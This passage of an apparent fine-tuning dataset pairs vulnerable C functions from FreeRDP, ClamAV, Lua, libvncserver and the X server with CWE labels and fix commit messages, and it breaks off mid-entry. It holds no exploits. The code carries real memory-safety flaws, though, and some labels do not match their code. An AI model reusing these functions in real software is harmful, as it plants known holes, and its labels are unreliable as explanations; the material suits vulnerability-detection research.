'CWE-125'], 'message': 'Fixed TrioParse and trio_length limts.\n\nCVE-2020-4030 thanks to @antonio-morales for finding this.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static BOOL ntlm_av_pair_add_copy(NTLM_AV_PAIR* pAvPairList, size_t cbAvPairList,\n NTLM_AV_PAIR* pAvPair, size_t cbAvPair)\n{\n\tif (!ntlm_av_pair_check(pAvPair, cbAvPair))\n\t\treturn FALSE;\n\n\treturn ntlm_av_pair_add(pAvPairList, cbAvPairList, ntlm_av_pair_get_id(pAvPair),\n\t ntlm_av_pair_get_value_pointer(pAvPair), ntlm_av_pair_get_len(pAvPair));\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190', 'CWE-125'], 'message': 'Fixed OOB read in ntlm_av_pair_get\n\nCVE-2020-11097 thanks to @antonio-morales for finding this.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int blobAddData(blob *b, const unsigned char *data, size_t len)\n{\n#if HAVE_CLI_GETPAGESIZE\n static int pagesize;\n int growth;\n#endif\n\n assert(b != NULL);\n#ifdef CL_DEBUG\n assert(b->magic == BLOBCLASS);\n#endif\n assert(data != NULL);\n\n if (len == 0)\n return 0;\n\n if (b->isClosed) {\n /*\n\t\t * Should be cli_dbgmsg, but I want to see them for now,\n\t\t * and cli_dbgmsg doesn't support debug levels\n\t\t */\n cli_warnmsg(\"Reopening closed blob\\n\");\n b->isClosed = 0;\n }\n /*\n\t * The payoff here is between reducing the number of calls to\n\t * malloc/realloc and not overallocating memory. A lot of machines\n\t * are more tight with memory than one may imagine which is why\n\t * we don't just allocate a *huge* amount and be done with it. Closing\n\t * the blob helps because that reclaims memory. If you know the maximum\n\t * size of a blob before you start adding data, use blobGrow() that's\n\t * the most optimum\n\t */\n#if HAVE_CLI_GETPAGESIZE\n if (pagesize == 0) {\n pagesize = cli_getpagesize();\n if (pagesize == 0)\n pagesize = 4096;\n }\n growth = pagesize;\n if (len >= (size_t)pagesize)\n growth = ((len / pagesize) + 1) * pagesize;\n\n /*cli_dbgmsg(\"blobGrow: b->size %lu, b->len %lu, len %lu, growth = %u\\n\",\n\t\tb->size, b->len, len, growth);*/\n\n if (b->data == NULL) {\n assert(b->len == 0);\n assert(b->size == 0);\n\n b->size = growth;\n b->data = cli_malloc(growth);\n } else if (b->size < b->len + (off_t)len) {\n unsigned char *p = cli_realloc(b->data, b->size + growth);\n\n if (p == NULL)\n return -1;\n\n b->size += growth;\n b->data = p;\n }\n#else\n if (b->data == NULL) {\n assert(b->len == 0);\n assert(b->size == 0);\n\n b->size = (off_t)len * 4;\n b->data = cli_malloc(b->size);\n } else if (b->size < b->len + (off_t)len) {\n unsigned char *p = cli_realloc(b->data, b->size + (len * 4));\n\n if (p == NULL)\n return -1;\n\n b->size += (off_t)len * 4;\n b->data = p;\n }\n#endif\n\n if (b->data) {\n memcpy(&b->data[b->len], data, len);\n b->len += (off_t)len;\n }\n return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'fuzz-22348 null deref in egg utf8 conversion\nCorrected memory leaks and a null dereference in the egg utf8 conversion.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void luaD_call (lua_State *L, StkId func, int nresults) {\n lua_CFunction f;\n retry:\n switch (ttypetag(s2v(func))) {\n case LUA_VCCL: /* C closure */\n f = clCvalue(s2v(func))->f;\n goto Cfunc;\n case LUA_VLCF: /* light C function */\n f = fvalue(s2v(func));\n Cfunc: {\n int n; /* number of returns */\n CallInfo *ci = next_ci(L);\n checkstackp(L, LUA_MINSTACK, func); /* ensure minimum stack size */\n ci->nresults = nresults;\n ci->callstatus = CIST_C;\n ci->top = L->top + LUA_MINSTACK;\n ci->func = func;\n L->ci = ci;\n lua_assert(ci->top <= L->stack_last);\n if (L->hookmask & LUA_MASKCALL) {\n int narg = cast_int(L->top - func) - 1;\n luaD_hook(L, LUA_HOOKCALL, -1, 1, narg);\n }\n lua_unlock(L);\n n = (*f)(L); /* do the actual call */\n lua_lock(L);\n api_checknelems(L, n);\n luaD_poscall(L, ci, n);\n break;\n }\n case LUA_VLCL: { /* Lua function */\n CallInfo *ci = next_ci(L);\n Proto *p = clLvalue(s2v(func))->p;\n int narg = cast_int(L->top - func) - 1; /* number of real arguments */\n int nfixparams = p->numparams;\n int fsize = p->maxstacksize; /* frame size */\n checkstackp(L, fsize, func);\n ci->nresults = nresults;\n ci->u.l.savedpc = p->code; /* starting point */\n ci->callstatus = 0;\n ci->top = func + 1 + fsize;\n ci->func = func;\n L->ci = ci;\n for (; narg < nfixparams; narg++)\n setnilvalue(s2v(L->top++)); /* complete missing arguments */\n lua_assert(ci->top <= L->stack_last);\n luaV_execute(L, ci); /* run the function */\n break;\n }\n default: { /* not a function */\n checkstackp(L, 1, func); /* space for metamethod */\n luaD_tryfuncTM(L, func); /* try to get '__call' metamethod */\n goto retry; /* try again with metamethod */\n }\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416', 'CWE-125', 'CWE-787'], 'message': 'Fixed bugs of stack reallocation x GC\n\nMacro 'checkstackGC' was doing a GC step after resizing the stack;\nthe GC could shrink the stack and undo the resize. Moreover, macro\n'checkstackp' also does a GC step, which could remove the preallocated\nCallInfo when calling a function. (Its name has been changed to\n'checkstackGCp' to emphasize that it calls the GC.)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: rfbReleaseClientIterator(rfbClientIteratorPtr iterator)\n{\n if(iterator->next) rfbDecrClientRef(iterator->next);\n free(iterator);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'libvncserver: add missing NULL pointer checks'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void luaV_execute (lua_State *L, CallInfo *ci) {\n LClosure *cl;\n TValue *k;\n StkId base;\n const Instruction *pc;\n int trap;\n#if LUA_USE_JUMPTABLE\n#include \"ljumptab.h\"\n#endif\n tailcall:\n trap = L->hookmask;\n cl = clLvalue(s2v(ci->func));\n k = cl->p->k;\n pc = ci->u.l.savedpc;\n if (trap) {\n if (cl->p->is_vararg)\n trap = 0; /* hooks will start after VARARGPREP instruction */\n else if (pc == cl->p->code) /* first instruction (not resuming)? */\n luaD_hookcall(L, ci);\n ci->u.l.trap = 1; /* there may be other hooks */\n }\n base = ci->func + 1;\n /* main loop of interpreter */\n for (;;) {\n Instruction i; /* instruction being executed */\n StkId ra; /* instruction's A register */\n vmfetch();\n lua_assert(base == ci->func + 1);\n lua_assert(base <= L->top && L->top < L->stack + L->stacksize);\n /* invalidate top for instructions not expecting it */\n lua_assert(isIT(i) || (cast_void(L->top = base), 1));\n vmdispatch (GET_OPCODE(i)) {\n vmcase(OP_MOVE) {\n setobjs2s(L, ra, RB(i));\n vmbreak;\n }\n vmcase(OP_LOADI) {\n lua_Integer b = GETARG_sBx(i);\n setivalue(s2v(ra), b);\n vmbreak;\n }\n vmcase(OP_LOADF) {\n int b = GETARG_sBx(i);\n setfltvalue(s2v(ra), cast_num(b));\n vmbreak;\n }\n vmcase(OP_LOADK) {\n TValue *rb = k + GETARG_Bx(i);\n setobj2s(L, ra, rb);\n vmbreak;\n }\n vmcase(OP_LOADKX) {\n TValue *rb;\n rb = k + GETARG_Ax(*pc); pc++;\n setobj2s(L, ra, rb);\n vmbreak;\n }\n vmcase(OP_LOADFALSE) {\n setbfvalue(s2v(ra));\n vmbreak;\n }\n vmcase(OP_LFALSESKIP) {\n setbfvalue(s2v(ra));\n pc++; /* skip next instruction */\n vmbreak;\n }\n vmcase(OP_LOADTRUE) {\n setbtvalue(s2v(ra));\n vmbreak;\n }\n vmcase(OP_LOADNIL) {\n int b = GETARG_B(i);\n do {\n setnilvalue(s2v(ra++));\n } while (b--);\n vmbreak;\n }\n vmcase(OP_GETUPVAL) {\n int b = GETARG_B(i);\n setobj2s(L, ra, cl->upvals[b]->v);\n vmbreak;\n }\n vmcase(OP_SETUPVAL) {\n UpVal *uv = cl->upvals[GETARG_B(i)];\n setobj(L, uv->v, s2v(ra));\n luaC_barrier(L, uv, s2v(ra));\n vmbreak;\n }\n vmcase(OP_GETTABUP) {\n const TValue *slot;\n TValue *upval = cl->upvals[GETARG_B(i)]->v;\n TValue *rc = KC(i);\n TString *key = tsvalue(rc); /* key must be a string */\n if (luaV_fastget(L, upval, key, slot, luaH_getshortstr)) {\n setobj2s(L, ra, slot);\n }\n else\n Protect(luaV_finishget(L, upval, rc, ra, slot));\n vmbreak;\n }\n vmcase(OP_GETTABLE) {\n const TValue *slot;\n TValue *rb = vRB(i);\n TValue *rc = vRC(i);\n lua_Unsigned n;\n if (ttisinteger(rc) /* fast track for integers? */\n ? (cast_void(n = ivalue(rc)), luaV_fastgeti(L, rb, n, slot))\n : luaV_fastget(L, rb, rc, slot, luaH_get)) {\n setobj2s(L, ra, slot);\n }\n else\n Protect(luaV_finishget(L, rb, rc, ra, slot));\n vmbreak;\n }\n vmcase(OP_GETI) {\n const TValue *slot;\n TValue *rb = vRB(i);\n int c = GETARG_C(i);\n if (luaV_fastgeti(L, rb, c, slot)) {\n setobj2s(L, ra, slot);\n }\n else {\n TValue key;\n setivalue(&key, c);\n Protect(luaV_finishget(L, rb, &key, ra, slot));\n }\n vmbreak;\n }\n vmcase(OP_GETFIELD) {\n const TValue *slot;\n TValue *rb = vRB(i);\n TValue *rc = KC(i);\n TString *key = tsvalue(rc); /* key must be a string */\n if (luaV_fastget(L, rb, key, slot, luaH_getshortstr)) {\n setobj2s(L, ra, slot);\n }\n else\n Protect(luaV_finishget(L, rb, rc, ra, slot));\n vmbreak;\n }\n vmcase(OP_SETTABUP) {\n const TValue *slot;\n TValue *upval = cl->upvals[GETARG_A(i)]->v;\n TValue *rb = KB(i);\n TValue *rc = RKC(i);\n TString *key = tsvalue(rb); /* key must be a string */\n if (luaV_fastget(L, upval, key, slot, luaH_getshortstr)) {\n luaV_finishfastset(L, upval, slot, rc);\n }\n else\n Protect(luaV_finishset(L, upval, rb, rc, slot));\n vmbreak;\n }\n vmcase(OP_SETTABLE) {\n const TValue *slot;\n TValue *rb = vRB(i); /* key (table is in 'ra') */\n TValue *rc = RKC(i); /* value */\n lua_Unsigned n;\n if (ttisinteger(rb) /* fast track for integers? */\n ? (cast_void(n = ivalue(rb)), luaV_fastgeti(L, s2v(ra), n, slot))\n : luaV_fastget(L, s2v(ra), rb, slot, luaH_get)) {\n luaV_finishfastset(L, s2v(ra), slot, rc);\n }\n else\n Protect(luaV_finishset(L, s2v(ra), rb, rc, slot));\n vmbreak;\n }\n vmcase(OP_SETI) {\n const TValue *slot;\n int c = GETARG_B(i);\n TValue *rc = RKC(i);\n if (luaV_fastgeti(L, s2v(ra), c, slot)) {\n luaV_finishfastset(L, s2v(ra), slot, rc);\n }\n else {\n TValue key;\n setivalue(&key, c);\n Protect(luaV_finishset(L, s2v(ra), &key, rc, slot));\n }\n vmbreak;\n }\n vmcase(OP_SETFIELD) {\n const TValue *slot;\n TValue *rb = KB(i);\n TValue *rc = RKC(i);\n TString *key = tsvalue(rb); /* key must be a string */\n if (luaV_fastget(L, s2v(ra), key, slot, luaH_getshortstr)) {\n luaV_finishfastset(L, s2v(ra), slot, rc);\n }\n else\n Protect(luaV_finishset(L, s2v(ra), rb, rc, slot));\n vmbreak;\n }\n vmcase(OP_NEWTABLE) {\n int b = GETARG_B(i); /* log2(hash size) + 1 */\n int c = GETARG_C(i); /* array size */\n Table *t;\n if (b > 0)\n b = 1 << (b - 1); /* size is 2^(b - 1) */\n lua_assert((!TESTARG_k(i)) == (GETARG_Ax(*pc) == 0));\n if (TESTARG_k(i)) /* non-zero extra argument? */\n c += GETARG_Ax(*pc) * (MAXARG_C + 1); /* add it to size */\n pc++; /* skip extra argument */\n L->top = ra + 1; /* correct top in case of emergency GC */\n t = luaH_new(L); /* memory allocation */\n sethvalue2s(L, ra, t);\n if (b != 0 || c != 0)\n luaH_resize(L, t, c, b); /* idem */\n checkGC(L, ra + 1);\n vmbreak;\n }\n vmcase(OP_SELF) {\n const TValue *slot;\n TValue *rb = vRB(i);\n TValue *rc = RKC(i);\n TString *key = tsvalue(rc); /* key must be a string */\n setobj2s(L, ra + 1, rb);\n if (luaV_fastget(L, rb, key, slot, luaH_getstr)) {\n setobj2s(L, ra, slot);\n }\n else\n Protect(luaV_finishget(L, rb, rc, ra, slot));\n vmbreak;\n }\n vmcase(OP_ADDI) {\n op_arithI(L, l_addi, luai_numadd);\n vmbreak;\n }\n vmcase(OP_ADDK) {\n op_arithK(L, l_addi, luai_numadd);\n vmbreak;\n }\n vmcase(OP_SUBK) {\n op_arithK(L, l_subi, luai_numsub);\n vmbreak;\n }\n vmcase(OP_MULK) {\n op_arithK(L, l_muli, luai_nummul);\n vmbreak;\n }\n vmcase(OP_MODK) {\n op_arithK(L, luaV_mod, luaV_modf);\n vmbreak;\n }\n vmcase(OP_POWK) {\n op_arithfK(L, luai_numpow);\n vmbreak;\n }\n vmcase(OP_DIVK) {\n op_arithfK(L, luai_numdiv);\n vmbreak;\n }\n vmcase(OP_IDIVK) {\n op_arithK(L, luaV_idiv, luai_numidiv);\n vmbreak;\n }\n vmcase(OP_BANDK) {\n op_bitwiseK(L, l_band);\n vmbreak;\n }\n vmcase(OP_BORK) {\n op_bitwiseK(L, l_bor);\n vmbreak;\n }\n vmcase(OP_BXORK) {\n op_bitwiseK(L, l_bxor);\n vmbreak;\n }\n vmcase(OP_SHRI) {\n TValue *rb = vRB(i);\n int ic = GETARG_sC(i);\n lua_Integer ib;\n if (tointegerns(rb, &ib)) {\n pc++; setivalue(s2v(ra), luaV_shiftl(ib, -ic));\n }\n vmbreak;\n }\n vmcase(OP_SHLI) {\n TValue *rb = vRB(i);\n int ic = GETARG_sC(i);\n lua_Integer ib;\n if (tointegerns(rb, &ib)) {\n pc++; setivalue(s2v(ra), luaV_shiftl(ic, ib));\n }\n vmbreak;\n }\n vmcase(OP_ADD) {\n op_arith(L, l_addi, luai_numadd);\n vmbreak;\n }\n vmcase(OP_SUB) {\n op_arith(L, l_subi, luai_numsub);\n vmbreak;\n }\n vmcase(OP_MUL) {\n op_arith(L, l_muli, luai_nummul);\n vmbreak;\n }\n vmcase(OP_MOD) {\n op_arith(L, luaV_mod, luaV_modf);\n vmbreak;\n }\n vmcase(OP_POW) {\n op_arithf(L, luai_numpow);\n vmbreak;\n }\n vmcase(OP_DIV) { /* float division (always with floats) */\n op_arithf(L, luai_numdiv);\n vmbreak;\n }\n vmcase(OP_IDIV) { /* floor division */\n op_arith(L, luaV_idiv, luai_numidiv);\n vmbreak;\n }\n vmcase(OP_BAND) {\n op_bitwise(L, l_band);\n vmbreak;\n }\n vmcase(OP_BOR) {\n op_bitwise(L, l_bor);\n vmbreak;\n }\n vmcase(OP_BXOR) {\n op_bitwise(L, l_bxor);\n vmbreak;\n }\n vmcase(OP_SHR) {\n op_bitwise(L, luaV_shiftr);\n vmbreak;\n }\n vmcase(OP_SHL) {\n op_bitwise(L, luaV_shiftl);\n vmbreak;\n }\n vmcase(OP_MMBIN) {\n Instruction pi = *(pc - 2); /* original arith. expression */\n TValue *rb = vRB(i);\n TMS tm = (TMS)GETARG_C(i);\n StkId result = RA(pi);\n lua_assert(OP_ADD <= GET_OPCODE(pi) && GET_OPCODE(pi) <= OP_SHR);\n Protect(luaT_trybinTM(L, s2v(ra), rb, result, tm));\n vmbreak;\n }\n vmcase(OP_MMBINI) {\n Instruction pi = *(pc - 2); /* original arith. expression */\n int imm = GETARG_sB(i);\n TMS tm = (TMS)GETARG_C(i);\n int flip = GETARG_k(i);\n StkId result = RA(pi);\n Protect(luaT_trybiniTM(L, s2v(ra), imm, flip, result, tm));\n vmbreak;\n }\n vmcase(OP_MMBINK) {\n Instruction pi = *(pc - 2); /* original arith. expression */\n TValue *imm = KB(i);\n TMS tm = (TMS)GETARG_C(i);\n int flip = GETARG_k(i);\n StkId result = RA(pi);\n Protect(luaT_trybinassocTM(L, s2v(ra), imm, flip, result, tm));\n vmbreak;\n }\n vmcase(OP_UNM) {\n TValue *rb = vRB(i);\n lua_Number nb;\n if (ttisinteger(rb)) {\n lua_Integer ib = ivalue(rb);\n setivalue(s2v(ra), intop(-, 0, ib));\n }\n else if (tonumberns(rb, nb)) {\n setfltvalue(s2v(ra), luai_numunm(L, nb));\n }\n else\n Protect(luaT_trybinTM(L, rb, rb, ra, TM_UNM));\n vmbreak;\n }\n vmcase(OP_BNOT) {\n TValue *rb = vRB(i);\n lua_Integer ib;\n if (tointegerns(rb, &ib)) {\n setivalue(s2v(ra), intop(^, ~l_castS2U(0), ib));\n }\n else\n Protect(luaT_trybinTM(L, rb, rb, ra, TM_BNOT));\n vmbreak;\n }\n vmcase(OP_NOT) {\n TValue *rb = vRB(i);\n if (l_isfalse(rb))\n setbtvalue(s2v(ra));\n else\n setbfvalue(s2v(ra));\n vmbreak;\n }\n vmcase(OP_LEN) {\n Protect(luaV_objlen(L, ra, vRB(i)));\n vmbreak;\n }\n vmcase(OP_CONCAT) {\n int n = GETARG_B(i); /* number of elements to concatenate */\n L->top = ra + n; /* mark the end of concat operands */\n ProtectNT(luaV_concat(L, n));\n checkGC(L, L->top); /* 'luaV_concat' ensures correct top */\n vmbreak;\n }\n vmcase(OP_CLOSE) {\n Protect(luaF_close(L, ra, LUA_OK));\n vmbreak;\n }\n vmcase(OP_TBC) {\n /* create new to-be-closed upvalue */\n halfProtect(luaF_newtbcupval(L, ra));\n vmbreak;\n }\n vmcase(OP_JMP) {\n dojump(ci, i, 0);\n vmbreak;\n }\n vmcase(OP_EQ) {\n int cond;\n TValue *rb = vRB(i);\n Protect(cond = luaV_equalobj(L, s2v(ra), rb));\n docondjump();\n vmbreak;\n }\n vmcase(OP_LT) {\n op_order(L, l_lti, LTnum, lessthanothers);\n vmbreak;\n }\n vmcase(OP_LE) {\n op_order(L, l_lei, LEnum, lessequalothers);\n vmbreak;\n }\n vmcase(OP_EQK) {\n TValue *rb = KB(i);\n /* basic types do not use '__eq'; we can use raw equality */\n int cond = luaV_rawequalobj(s2v(ra), rb);\n docondjump();\n vmbreak;\n }\n vmcase(OP_EQI) {\n int cond;\n int im = GETARG_sB(i);\n if (ttisinteger(s2v(ra)))\n cond = (ivalue(s2v(ra)) == im);\n else if (ttisfloat(s2v(ra)))\n cond = luai_numeq(fltvalue(s2v(ra)), cast_num(im));\n else\n cond = 0; /* other types cannot be equal to a number */\n docondjump();\n vmbreak;\n }\n vmcase(OP_LTI) {\n op_orderI(L, l_lti, luai_numlt, 0, TM_LT);\n vmbreak;\n }\n vmcase(OP_LEI) {\n op_orderI(L, l_lei, luai_numle, 0, TM_LE);\n vmbreak;\n }\n vmcase(OP_GTI) {\n op_orderI(L, l_gti, luai_numgt, 1, TM_LT);\n vmbreak;\n }\n vmcase(OP_GEI) {\n op_orderI(L, l_gei, luai_numge, 1, TM_LE);\n vmbreak;\n }\n vmcase(OP_TEST) {\n int cond = !l_isfalse(s2v(ra));\n docondjump();\n vmbreak;\n }\n vmcase(OP_TESTSET) {\n TValue *rb = vRB(i);\n if (l_isfalse(rb) == GETARG_k(i))\n pc++;\n else {\n setobj2s(L, ra, rb);\n donextjump(ci);\n }\n vmbreak;\n }\n vmcase(OP_CALL) {\n int b = GETARG_B(i);\n int nresults = GETARG_C(i) - 1;\n if (b != 0) /* fixed number of arguments? */\n L->top = ra + b; /* top signals number of arguments */\n /* else previous instruction set top */\n ProtectNT(luaD_call(L, ra, nresults));\n vmbreak;\n }\n vmcase(OP_TAILCALL) {\n int b = GETARG_B(i); /* number of arguments + 1 (function) */\n int nparams1 = GETARG_C(i);\n /* delat is virtual 'func' - real 'func' (vararg functions) */\n int delta = (nparams1) ? ci->u.l.nextraargs + nparams1 : 0;\n if (b != 0)\n L->top = ra + b;\n else /* previous instruction set top */\n b = cast_int(L->top - ra);\n savepc(ci); /* some calls here can raise errors */\n if (TESTARG_k(i)) {\n /* close upvalues from current call; the compiler ensures\n that there are no to-be-closed variables here, so this\n call cannot change the stack */\n luaF_close(L, base, NOCLOSINGMETH);\n lua_assert(base == ci->func + 1);\n }\n while (!ttisfunction(s2v(ra))) { /* not a function? */\n luaD_tryfuncTM(L, ra); /* try '__call' metamethod */\n b++; /* there is now one extra argument */\n checkstackGCp(L, 1, ra);\n }\n if (!ttisLclosure(s2v(ra))) { /* C function? */\n luaD_call(L, ra, LUA_MULTRET); /* call it */\n updatetrap(ci);\n updatestack(ci); /* stack may have been relocated */\n ci->func -= delta;\n luaD_poscall(L, ci, cast_int(L->top - ra));\n return;\n }\n ci->func -= delta;\n luaD_pretailcall(L, ci, ra, b); /* prepare call frame */\n goto tailcall;\n }\n vmcase(OP_RETURN) {\n int n = GETARG_B(i) - 1; /* number of results */\n int nparams1 = GETARG_C(i);\n if (n < 0) /* not fixed? */\n n = cast_int(L->top - ra); /* get what is available */\n savepc(ci);\n if (TESTARG_k(i)) { /* may there be open upvalues? */\n if (L->top < ci->top)\n L->top = ci->top;\n luaF_close(L, base, LUA_OK);\n updatetrap(ci);\n updatestack(ci);\n }\n if (nparams1) /* vararg function? */\n ci->func -= ci->u.l.nextraargs + nparams1;\n L->top = ra + n; /* set call for 'luaD_poscall' */\n luaD_poscall(L, ci, n);\n return;\n }\n vmcase(OP_RETURN0) {\n if (L->hookmask) {\n L->top = ra;\n halfProtectNT(luaD_poscall(L, ci, 0)); /* no hurry... */\n }\n else { /* do the 'poscall' here */\n int nres = ci->nresults;\n L->ci = ci->previous; /* back to caller */\n L->top = base - 1;\n while (nres-- > 0)\n setnilvalue(s2v(L->top++)); /* all results are nil */\n }\n return;\n }\n vmcase(OP_RETURN1) {\n if (L->hookmask) {\n L->top = ra + 1;\n halfProtectNT(luaD_poscall(L, ci, 1)); /* no hurry... */\n }\n else { /* do the 'poscall' here */\n int nres = ci->nresults;\n L->ci = ci->previous; /* back to caller */\n if (nres == 0)\n L->top = base - 1; /* asked for no results */\n else {\n setobjs2s(L, base - 1, ra); /* at least this result */\n L->top = base;\n while (--nres > 0) /* complete missing results */\n setnilvalue(s2v(L->top++));\n }\n }\n return;\n }\n vmcase(OP_FORLOOP) {\n if (ttisinteger(s2v(ra + 2))) { /* integer loop? */\n lua_Unsigned count = l_castS2U(ivalue(s2v(ra + 1)));\n if (count > 0) { /* still more iterations? */\n lua_Integer step = ivalue(s2v(ra + 2));\n lua_Integer idx = ivalue(s2v(ra)); /* internal index */\n chgivalue(s2v(ra + 1), count - 1); /* update counter */\n idx = intop(+, idx, step); /* add step to index */\n chgivalue(s2v(ra), idx); /* update internal index */\n setivalue(s2v(ra + 3), idx); /* and control variable */\n pc -= GETARG_Bx(i); /* jump back */\n }\n }\n else if (floatforloop(ra)) /* float loop */\n pc -= GETARG_Bx(i); /* jump back */\n updatetrap(ci); /* allows a signal to break the loop */\n vmbreak;\n }\n vmcase(OP_FORPREP) {\n savestate(L, ci); /* in case of errors */\n if (forprep(L, ra))\n pc += GETARG_Bx(i) + 1; /* skip the loop */\n vmbreak;\n }\n vmcase(OP_TFORPREP) {\n /* create to-be-closed upvalue (if needed) */\n halfProtect(luaF_newtbcupval(L, ra + 3));\n pc += GETARG_Bx(i);\n i = *(pc++); /* go to next instruction */\n lua_assert(GET_OPCODE(i) == OP_TFORCALL && ra == RA(i));\n goto l_tforcall;\n }\n vmcase(OP_TFORCALL) {\n l_tforcall:\n /* 'ra' has the iterator function, 'ra + 1' has the state,\n 'ra + 2' has the control variable, and 'ra + 3' has the\n to-be-closed variable. The call will use the stack after\n these values (starting at 'ra + 4')\n */\n /* push function, state, and control variable */\n memcpy(ra + 4, ra, 3 * sizeof(*ra));\n L->top = ra + 4 + 3;\n ProtectNT(luaD_call(L, ra + 4, GETARG_C(i))); /* do the call */\n updatestack(ci); /* stack may have changed */\n i = *(pc++); /* go to next instruction */\n lua_assert(GET_OPCODE(i) == OP_TFORLOOP && ra == RA(i));\n goto l_tforloop;\n }\n vmcase(OP_TFORLOOP) {\n l_tforloop:\n if (!ttisnil(s2v(ra + 4))) { /* continue loop? */\n setobjs2s(L, ra + 2, ra + 4); /* save control variable */\n pc -= GETARG_Bx(i); /* jump back */\n }\n vmbreak;\n }\n vmcase(OP_SETLIST) {\n int n = GETARG_B(i);\n unsigned int last = GETARG_C(i);\n Table *h = hvalue(s2v(ra));\n if (n == 0)\n n = cast_int(L->top - ra) - 1; /* get up to the top */\n else\n L->top = ci->top; /* correct top in case of emergency GC */\n last += n;\n if (TESTARG_k(i)) {\n last += GETARG_Ax(*pc) * (MAXARG_C + 1);\n pc++;\n }\n if (last > luaH_realasize(h)) /* needs more space? */\n luaH_resizearray(L, h, last); /* preallocate it at once */\n for (; n > 0; n--) {\n TValue *val = s2v(ra + n);\n setobj2t(L, &h->array[last - 1], val);\n last--;\n luaC_barrierback(L, obj2gco(h), val);\n }\n vmbreak;\n }\n vmcase(OP_CLOSURE) {\n Proto *p = cl->p->p[GETARG_Bx(i)];\n halfProtect(pushclosure(L, p, cl->upvals, base, ra));\n checkGC(L, ra + 1);\n vmbreak;\n }\n vmcase(OP_VARARG) {\n int n = GETARG_C(i) - 1; /* required results */\n Protect(luaT_getvarargs(L, ci, ra, n));\n vmbreak;\n }\n vmcase(OP_VARARGPREP) {\n ProtectNT(luaT_adjustvarargs(L, GETARG_A(i), ci, cl->p));\n if (trap) {\n luaD_hookcall(L, ci);\n L->oldpc = pc + 1; /* next opcode will be seen as a \"new\" line */\n }\n updatebase(ci); /* function has new base after adjustment */\n vmbreak;\n }\n vmcase(OP_EXTRAARG) {\n lua_assert(0);\n vmbreak;\n }\n }\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-703'], 'message': 'Fixed bug: invalid 'oldpc' when returning to a function\n\nThe field 'L->oldpc' is not always updated when control returns to a\nfunction; an invalid value can seg. fault when computing 'changedline'.\n(One example is an error in a finalizer; control can return to\n'luaV_execute' without executing 'luaD_poscall'.) Instead of trying to\nfix all possible corner cases, it seems safer to be resilient to invalid\nvalues for 'oldpc'. Valid but wrong values at most cause an extra call\nto a line hook.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: ProcXIChangeHierarchy(ClientPtr client)\n{\n xXIAnyHierarchyChangeInfo *any;\n size_t len;\t\t\t/* length of data remaining in request */\n int rc = Success;\n int flags[MAXDEVICES] = { 0 };\n\n REQUEST(xXIChangeHierarchyReq);\n REQUEST_AT_LEAST_SIZE(xXIChangeHierarchyReq);\n\n if (!stuff->num_changes)\n return rc;\n\n len = ((size_t)stuff->length << 2) - sizeof(xXIChangeHierarchyReq);\n\n any = (xXIAnyHierarchyChangeInfo *) &stuff[1];\n while (stuff->num_changes--) {\n if (len < sizeof(xXIAnyHierarchyChangeInfo)) {\n rc = BadLength;\n goto unwind;\n }\n\n SWAPIF(swaps(&any->type));\n SWAPIF(swaps(&any->length));\n\n if (len < ((size_t)any->length << 2))\n return BadLength;\n\n#define CHANGE_SIZE_MATCH(type) \\\n do { \\\n if ((len < sizeof(type)) || (any->length != (sizeof(type) >> 2))) { \\\n rc = BadLength; \\\n goto unwind; \\\n } \\\n } while(0)\n\n switch (any->type) {\n case XIAddMaster:\n {\n xXIAddMasterInfo *c = (xXIAddMasterInfo *) any;\n\n /* Variable length, due to appended name string */\n if (len < sizeof(xXIAddMasterInfo)) {\n rc = BadLength;\n goto unwind;\n }\n SWAPIF(swaps(&c->name_len));\n if (c->name_len > (len - sizeof(xXIAddMasterInfo))) {\n rc = BadLength;\n goto unwind;\n }\n\n rc = add_master(client, c, flags);\n if (rc != Success)\n goto unwind;\n }\n break;\n case XIRemoveMaster:\n {\n xXIRemoveMasterInfo *r = (xXIRemoveMasterInfo *) any;\n\n CHANGE_SIZE_MATCH(xXIRemoveMasterInfo);\n rc = remove_master(client, r, flags);\n if (rc != Success)\n goto unwind;\n }\n break;\n case XIDetachSlave:\n {\n xXIDetachSlaveInfo *c = (xXIDetachSlaveInfo *) any;\n\n CHANGE_SIZE_MATCH(xXIDetachSlaveInfo);\n rc = detach_slave(client, c, flags);\n if (rc != Success)\n goto unwind;\n }\n break;\n case XIAttachSlave:\n {\n xXIAttachSlaveInfo *c = (xXIAttachSlaveInfo *) any;\n\n CHANGE_SIZE_MATCH(xXIAttachSlaveInfo);\n rc = attach_slave(client, c, flags);\n if (rc != Success)\n goto unwind;\n }\n break;\n }\n\n len -= any->length * 4;\n any = (xXIAnyHierarchyChangeInfo *) ((char *) any + any->length * 4);\n }\n\n unwind:\n\n XISendDeviceHierarchyEvent(flags);\n return rc;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 